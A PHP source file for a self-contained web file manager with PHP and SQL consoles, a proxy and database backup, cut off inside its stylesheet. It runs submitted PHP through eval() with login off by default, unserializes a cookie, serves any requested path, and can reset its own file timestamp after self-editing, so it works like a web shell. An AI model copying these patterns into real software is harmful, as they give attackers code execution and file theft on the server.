$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX